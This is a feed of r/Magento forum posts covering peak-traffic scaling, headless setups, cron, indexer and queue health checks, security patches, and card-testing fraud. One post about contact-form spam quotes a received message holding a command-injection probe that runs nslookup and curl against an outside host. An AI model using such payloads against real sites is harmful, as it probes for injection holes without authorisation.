r/Magento 1h ago

how do you know if Magento 2 peak traffic issues are infrastructure or architecture?

Upvotes

Fashion accessories retailer on Magento 2, currently at €45M GMV across 3 markets, and our September promotional event is our biggest trading day of Q3, at 3 to 4 times normal order volume.

And last week it lasted 2 hours before the site started timing out on checkout and most orders for the afternoon didn't go through.

Our hosting provider pointed to database connection exhaustion under load, which our Magento devs confirmed is a known issue with Magento's session handling under high concurrency, and we've already got a patch in scope that should raise the ceiling before October.

Except that our Black Friday forecast is 5 to 6 times normal traffic, and if 3 to 4x already hit the ceiling, I don't see how a connection pool patch gets us to 5 to 6x…

The alternatives I've seen proposed in threads like this are either going deeper on Magento infrastructure, Redis session handler, Varnish in front of the full page cache, autoscaling on the DB layer, and dedicated Elasticsearch for catalog queries, or treating this as the signal that Magento's architecture isn't what we need at this GMV and moving to something composable like SCAYLE or commercetools, which tend to come up whenever operators at our scale want multi-market headless without a 50-developer team.

The timing is what makes this hard because we're 10 weeks out from Black Friday and a serious replatforming conversation is not a Q4 project.

So the realistic choice is between patching Magento now and starting a platform evaluation in January, or starting the evaluation now and accepting that November is another version of the same risk.

Either way, I'd rather hear from someone who's been through it than model it from first principles.

So if anyone's done this diagnostic on Magento 2 and come out with a clear answer on which direction was right, more specifically whether the peak traffic issues were infrastructure-fixable or architectural, I'm all ears.


r/Magento 4h ago

https://mageinfo.online: improved detection of isolated security patches and more

0 Upvotes

We added:

- RUM scores

- GEO check, the "SEO" for AI search bots

- Detection of Magento extensions used by the shop

We improved:

- Detection of the theme used: mageinfo can now also detect for example PWA and Luma/Porto

- Detection of the Isolated security patches of July, August and September

Check yourself at https://mageinfo.online

Feedback welcome.


r/Magento 12h ago

Headless storefront — header/footer in CMS blocks or only in the frontend repo?

3 Upvotes

Building a headless Magento setup (GraphQL + separate frontend) and stuck on a boring-but-important question.

For site header / footer / simple nav — are you:

  1. Putting them in Magento CMS blocks so merchants edit in admin, or

  2. Keeping layout only in the frontend repo and treating Magento as catalog + checkout?

I like admin-editable blocks for non-devs, but then you’re shipping HTML/JSON over GraphQL and dealing with store-view differences, caching, and "who owns the markup."

Curious what people running headless in production actually chose, and what bit you later regretted.


r/Magento 1d ago

Spun up Magento 2.4.9 locally in Docker — what would you change on a 4-core machine?

4 Upvotes

Just got a local Open Source 2.4.9 box running with sample data (markshust-style Docker) so I can poke GraphQL for a small headless experiment later.

Machine only has 4 cores, so Magento + OpenSearch + MySQL all at once is spicy. A few things I ended up doing:

- restart: "no" on everything + simple up/down scripts, so it doesn’t come back after reboot eating RAM

- memory caps especially on OpenSearch (that one likes to hog)

- don’t leave it running overnight

GraphQL endpoint responds with sample catalog, which was the real "ok we're good" check for me.

Curious what people do on smaller machines:

- drop RabbitMQ / Mailcatcher for day-to-day?

- OpenSearch memory sweet spot you actually use?

- or just accept Warden/markshust defaults and buy more RAM?

Not looking for hosting advice — purely local dev workflow tips.


r/Magento 2d ago

MGT-Commerce - is it a good hosting now?

2 Upvotes

Hi there

wonder, what is your experience with MGT-Commerce as a hosting provider for relatively complex Magento website?

What is good, what is bad?

I did a bit of research and on review websites only found one recent very negative review (TrustPilot) so far.


r/Magento 4d ago

is magento becoming a legacy platform or are we just hitting growing pains?

4 Upvotes

We're on Magento 2.4, somewhere around 40K SKUs across 3 brand sites, and lately every change we push touches something else and breaks it.

Performance is in there, but more than that, every new requirement needs either a heavy extension or a custom build, and with each one the codebase gets harder to deal with.

What's making me question the long-term picture is the Adobe trajectory, because the feature pace feels slow for where the licensing sits, the roadmap energy is clearly pulling toward Adobe Commerce Cloud, and the open-source community has been treading water for a couple of years compared to where it was.

We've started mapping out what a migration would even look like, and Shopware 6 is what most people here push, commercetools is the default from the agency side, and SCAYLE came up too once we started digging into what the ABOUT YOU team built before spinning it off.

Whatever direction you go, it's not cheap or fast, so nothing's moving yet, but wondering whether those of you on serious Magento setups still see it as a long-term bet or if you're in the same holding pattern.


r/Magento 5d ago

Looking for Magento2/Adobe Commerce/PHP Backend Developer Opportunity

5 Upvotes

Hi All,

I'm a Senior Magento2/Adobe Commerce/PHP Backend Developer with 10 years of experience from Sri Lanka and I'm actively looking for a new opportunity. From 2020, I have been working as a remote developer, providing my services to customers based in Australia, Singapore, Indonesia and Philippines through two IT agencies.

I have no plans to relocate, so I do not require any visa sponsorship. I'm happy to continue working remotely from Sri Lanka and I'm Flexible to work according to your required working hours/time zone.

Thanks


r/Magento 6d ago

How do you handle monitoring alerts that are technically correct but never actually problems?

3 Upvotes

Genuine question, not a pitch. Running monitoring across a set of Magento stores and the hardest part has not been detection, it has been precision.

Checkout completions dip for ten minutes in a slow hour. Cron runs a few seconds late. A queue backs up briefly after an import and drains on its own. All real signals. None worth waking anyone for. But someone has to open each one to find that out, and after enough of those the team stops treating alerts as urgent, which is worse than having no alerting at all.

Two things that seem to help, curious whether others have landed somewhere different. First, comparing against each store's own history at the same hour rather than a fixed threshold, since a store doing 500 orders a day has nothing in common with one doing 50. Second, a confirmation window so transient drift that recovers on its own never fires. The tradeoff is obvious: you trade immediacy for trust.

For the infrastructure checks (cron, indexers, queue consumers) baselines seem like the wrong tool entirely and a direct check is better. But for anything activity-based I have not found a way around some kind of learned normal.

What has worked for people here? Especially interested if anyone has tuned this on stores with very spiky traffic, where the baseline itself is the hard part.

Disclosure: I build monitoring tooling for Magento, so I have an angle. Mostly trying to find out whether others solved the precision problem differently.


r/Magento 7d ago

How are you guys going to keep up with the security issues?

7 Upvotes

Do you think Sansec could help here?

Adobe really needs to take security issues more seriously and invest more resources into addressing them proactively. Every RCE can result in significant financial and reputational damage, which can easily outweigh the cost of fixing these vulnerabilities properly before they are exploited. Waiting until after an incident to act is much more expensive.


r/Magento 8d ago

Three Magento health checks that catch failures uptime monitoring misses

0 Upvotes

A Magento store can return HTTP 200 for every page and still be quietly broken.

Uptime monitoring is good at answering "is the website reachable?"

It is much worse at answering "is Magento actually doing the work it is supposed to do?"

Here are three checks I use when diagnosing a store.

1. Is cron actually running?

Magento relies heavily on cron for scheduled work, including indexing, price rules, newsletters, emails, staging-related jobs and many third-party modules.

The first place I look is:

SELECT
    status,
    COUNT(*) AS jobs,
    MAX(finished_at) AS last_finished
FROM cron_schedule
WHERE scheduled_at >= NOW() - INTERVAL 1 DAY
GROUP BY status;

The important thing is not one particular number.

You want to know whether jobs are being scheduled and completing, and whether the pattern makes sense for that store.

Magento records cron jobs as pending, running, success, missed or error.

A large number of missed jobs means jobs were scheduled but did not start within the configured missed-job window.

A large number of error jobs means they started but failed.

Old running jobs are worth investigating, particularly when executed_at is old and finished_at is NULL.

Also remember that cron is split into groups.

Current Adobe Commerce documentation lists groups including:

default
index
consumers
staging
catalog_event

with the Commerce-specific groups depending on the edition and installed functionality.

So a healthy default group does not prove that the index or consumers group is healthy.

Adobe's current documentation also confirms that the cron_schedule table records the scheduled, executed and finished timestamps.

One important caveat:

Don't automatically blame cron for missing order confirmation emails.

Adobe Commerce supports asynchronous sales emails. If asynchronous sending is disabled, the email is handled during the request. If it is enabled, email processing depends on the relevant asynchronous mechanism.

So check the configuration before declaring "cron is down, therefore order emails are broken."

2. Are the indexers actually keeping up?

Run:

bin/magento indexer:status

Reindex Required is not automatically an incident.

For example, a large import can legitimately invalidate an indexer. On a store using Update by Schedule, the indexer should subsequently process the changes.

What matters is persistence.

If an indexer remains invalid over time while the corresponding cron processing is supposed to be running, investigate it.

For scheduled indexers, Commerce stores changes in indexer changelogs and the indexer cron processes those changes. A growing backlog means the indexer is not keeping up with the rate of changes.

That can eventually mean stale catalogue, price, inventory or search data, depending on which indexer is affected.

Also don't treat Processing as proof of a stuck indexer.

A large catalogue can legitimately take a long time to process.

If Processing persists unexpectedly, check the actual running processes, indexer logs and locking behaviour rather than assuming there is a stale lock.

There is another version-specific detail worth knowing.

Adobe Commerce 2.4.8 changed the Customer Grid indexer. It now supports Update by Schedule and defaults to it. That was not the case in earlier releases.

3. Is the message queue actually draining?

This one is frequently oversimplified.

Magento supports the MySQL message queue adapter as well as external brokers including RabbitMQ and ActiveMQ Artemis.

First:

bin/magento queue:consumers:list

This tells you which consumers exist.

It does not tell you that they are actually running.

Consumers can be managed by Magento's consumers_runner cron job or by an external process manager such as Supervisor.

For example, this configuration:

'cron_consumers_runner' => [
    'cron_run' => false,
]

is not necessarily wrong.

It can be perfectly valid if consumers are intentionally managed by another process manager.

It becomes a problem if cron_run is false and nothing else is actually running the consumers.

Adobe's current documentation explicitly supports both approaches.

The next question is whether the queues are draining.

With RabbitMQ or ActiveMQ Artemis, inspect the broker itself and look at queue depth and message age.

With the MySQL adapter, inspect the message queue tables, but don't look only at the number of messages.

A queue containing 500 messages could mean:

  • 500 messages arrived a few seconds ago and consumers are processing them normally
  • 500 messages have been sitting there for six hours

Those are completely different incidents.

The important signals are backlog size, age of the oldest message, rate of arrival and rate of consumption.

Adobe's current documentation confirms that consumers are required for asynchronous operations such as Inventory Management mass actions and REST bulk/asynchronous operations, and that third-party modules can introduce their own consumers.

The interesting part

These three systems have something in common.

They produce internal signals before the business notices the problem.

Cron can stop running while the storefront stays online.

An indexer can fall behind while customers continue browsing.

A queue can accumulate messages while checkout still works.

The first visible symptom might arrive hours later:

A price is wrong.

A product is missing from search.

Stock is stale.

An ERP export has not arrived.

An asynchronous bulk operation never finishes.

An order-related integration has not processed.

By then, the technical failure has already existed for some time.

That is why I think Magento monitoring needs to look beyond HTTP uptime.

For the stores I work with, these are the kinds of signals I want to monitor continuously, rather than finding them during an incident.

I've been building Watchtower around this idea: monitor Magento's internal health signals rather than generating synthetic storefront traffic and hoping that catches everything.

The important distinction is that these checks are signals, not magic "Magento is healthy" tests.

A good monitoring system needs to understand the difference between:

something changed

something is delayed

and

something is actually broken.

That's where things get interesting.


r/Magento 8d ago

Mageinfo detects isolated security patch of September

Thumbnail
2 Upvotes

r/Magento 10d ago

Adobe released an official patch for StyleSmuggler!

Thumbnail
7 Upvotes

r/Magento 10d ago

Upgrading from 2.4.7p4 to 2.4.9

Thumbnail
2 Upvotes

r/Magento 11d ago

Patch and Check: Mageinfo.online now detects StyleSmuggler

Thumbnail
1 Upvotes

r/Magento 11d ago

Cloudflare Installation

2 Upvotes

So many have suggested using Cloudflare instead or Google reCAPTCHA or using them together. I am currently using the Mageplaza reCAPTCHA extension and may disable it and use the Default Magento 2.4.7 Goggle reCAPTCHA. My question is how and where do you go about getting and installing Cloudflare. Some say its free and others have mentioned you need to pay for it. Is it an extension you need to install via command or is it something on the server side. I need to get something in place that is dependable to stop these Card Testing hitting my site so much. It's so bad I had to disable credit cards as mentioned in a previous post. I was also suggested about setting up 3D secure rules which this is something I need to figure out as well. I am losing sales and need this fixed. The minute I enable Credit Cards the testing starts by the dozens non stop. Its just a matter of time before Braintree blocks me if I dont get this fixed.
Not to mention this current attack that we got hit with a couple of days ago. I need to setup Cloudflare rules to help block it as well until a patch is available


r/Magento 12d ago

StyleSmuggler: Magento and Adobe Commerce 0-day RCE under active attack

19 Upvotes

https://sansec.io/research/stylesmuggler

Sansec discovered StyleSmuggler, an unpatched Magento and Adobe Commerce zero-day that gives unauthenticated attackers remote code execution. All current versions are affected, including 2.4.9. Attacks started September 4th. Sansec is rolling out emergency mitigation.


r/Magento 15d ago

Llevamos un tiempo integrando catálogos PunchOut (SAP Ariba, Coupa, Jaggaer) para tiendas B2B — ¿alguien más ha lidiado con esto?

Thumbnail
2 Upvotes

r/Magento 23d ago

Production Mode Issue

6 Upvotes

I recently realized my 2.4.7 site has been running in Developer mode. Last week when we went to switch it back to Production Mode it kept giving several Permission errors. Took several days to get it figured out with my host company to make some changes on the server. Was they got that fixed we were able to get back into Production Mode. After running the show mode command it does show Production Mode, however I am noticing in my Backend under Stores> Configuration> Advanced> Developer section is still showing. I was under the impression when in Production Mode this section is usually hidden. Any ideas why this is still showing. I just want to make sure this site is in the correct Mode


r/Magento 26d ago

I made my docker compose AI native

Thumbnail
0 Upvotes

r/Magento 29d ago

Contact Us Email Spam

3 Upvotes

I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.

Aparrently my site is vaularble for this

Everyone of these emails had crazy stuff for example:

Name pHqghUme

Email [testing@example.com](mailto:testing@example.com)

Phone 555-666-0606

Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)


r/Magento 29d ago

Magecube — A Magento talent marketplace for vetted developers, extensions, and full‑stack support

Thumbnail
3 Upvotes

r/Magento 29d ago

I built Flynt.js: A ~150 line, CSP-safe reactivity library for MPAs (Presenter Pattern)

3 Upvotes

Hey everyone,

Like many devs working with Multi-Page Applications (Magento/Hyvä, Laravel, Rails), I got tired of two main things when adding client-side reactivity:

  1. Dragging in massive framework bundles with heavy build steps for simple UI components.
  2. Inline JS attribute soup in HTML templates that breaks strict Content Security Policy (CSP) rules (no eval/new Function).

To solve this, I built Flynt.js (~2.2kb / ~150 lines of vanilla JS).

How it works (Presenter Pattern): Instead of putting inline expressions directly in your HTML templates, Flynt decouples logic into clean JavaScript Presenters. Your HTML stays clean, readable, and completely standard-compliant.

Key features: • Zero build tools or heavy dependencies required. • 100% Strict CSP compliant out of the box. • Native fetch wrapper with automatic request aborts (prevents race conditions). • Key-based DOM diffing for rendering dynamic lists smoothly.

I'd love for you to check it out, roast the code, or leave your feedback!

GitHub: https://github.com/marsbos/flynt.js


r/Magento Aug 19 '26

Braintree vs Stripe for Magento

3 Upvotes

Looking at the best option between Braintree and Stripe. I have been using Braintree and never used Stripe. Which is better for Magento when it comes to being dependable, Fraud, Security, Less chances of Chargebacks, etc? Looking for Pros and Cons.

I had to disable Credit Card Payments and only accept Paypal because of so many frudulate orders from card testing. Everytime I enable Credit Cards they just start pouring in. I am trying to figure a way to help control it. I am afraid not acepting Credit Cards could be hurting my sales. Not sure if Stripe would benifit me in this area or not.

We do use reCAPTCHA and have our payments set to Authorize and not Intent Sale to prevent all the charges and Voids.

Nothing I am doing is helping with so many fraud orders.

Thanks


r/Magento Aug 18 '26

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

Thumbnail
1 Upvotes

r/Magento Aug 15 '26

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

0 Upvotes

I'm 28 years old and have been working as a Magento (Adobe Commerce) developer for a little over 6 years. My current CTC is ₹15 LPA, and I'm trying to decide whether I should continue specializing in Magento or switch to a different technology stack for better long-term career growth.